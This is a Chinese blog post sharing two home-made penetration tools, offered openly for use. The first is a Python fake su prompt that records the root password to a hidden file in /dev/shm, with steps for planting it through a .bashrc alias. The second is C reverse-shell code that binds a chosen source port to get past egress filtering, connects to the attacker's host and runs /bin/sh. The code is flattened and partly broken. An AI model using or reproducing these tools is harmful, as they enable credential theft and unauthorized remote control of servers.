用Python编写渗透用小脚本 短小实用,python编写渗透脚本,网上能找到的python


网上能找到的python渗透工具并不多,就算找到的python工具也并不适用。所以只有自己的码代码最适合自己,这才是王道!本文中的两个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用!分享出来供大家参考

一、用Python编写的记录root密码小工具

root.py#!/usr/bin/python  import os, sys, getpass, time  current_time = time.strftime("%Y-%m-%d %H:%M")  logfile="/dev/shm/.su.log"              //密码获取后记录在这里  #CentOS                  #fail_str = "su: incorrect password"  #Ubuntu               #fail_str = "su: Authentication failure"  #For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样  fail_str = "su: incorrect password" try:      passwd = getpass.getpass(prompt='Password: ');      file=open(logfile,'a')      file.write("[%s]t%s"%(passwd, current_time))   //截取root密码      file.write('n')      file.close()  except:      pass time.sleep(1)  print fail_str                               //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

二、设置源端口反弹shell 渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。 比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。 谷歌程序无果,自己查了相关api后写了个。

client-port.c#include  #include  #include  #include  #include  void error(char *msg)  {  perror(msg);  exit(0);  }  int main(int argc, char *argv[])  {  int sockfd, portno, lportno,n;  struct sockaddr_in serv_addr;  struct sockaddr_in client_addr;  struct hostent *server;  char buffer[256];  if (argc < 3) {  fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);  exit(0);  } //三个参数,目标主机,目标主机端口,本地源端口  portno = atoi(argv[2]);  sockfd = socket(AF_INET, SOCK_STREAM, 0);  if (sockfd < 0)  error("ERROR opening socket");  bzero((char *) &client_addr, sizeof(client_addr));  lportno = atoi(argv[3]);  client_addr.sin_family = AF_INET;  client_addr.sin_addr.s_addr = INADDR_ANY;  client_addr.sin_port = htons(lportno); //设置源端口  if (bind(sockfd, (struct sockaddr *) &client_addr,  sizeof(client_addr)) < 0)  error("ERROR on binding");  server = gethostbyname(argv[1]);  if (server == NULL) {  fprintf(stderr,"ERROR, no such host ");  exit(0);  }  bzero((char *) &serv_addr, sizeof(serv_addr));  serv_addr.sin_family = AF_INET;  bcopy((char *)server->h_addr,  (char *)&serv_addr.sin_addr.s_addr,  server->h_length);  serv_addr.sin_port = htons(portno);  if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接  error("ERROR connecting");  dup2(fd, 0);  dup2(fd, 1);  dup2(fd, 2);  execl("/bin/sh","sh -i", NULL); //执行shell  close(fd);  } 用法: gcc client-port.c -o port chmod +x port ./port 你的IP 你的监听端口 本地的源端口 如 ./port http://www.91ri.org 80 80 成功反弹shell 提权成功 
本文原创自www.iplaypy.com编橙之家会员:繁星123

编橙之家文章,

评论关闭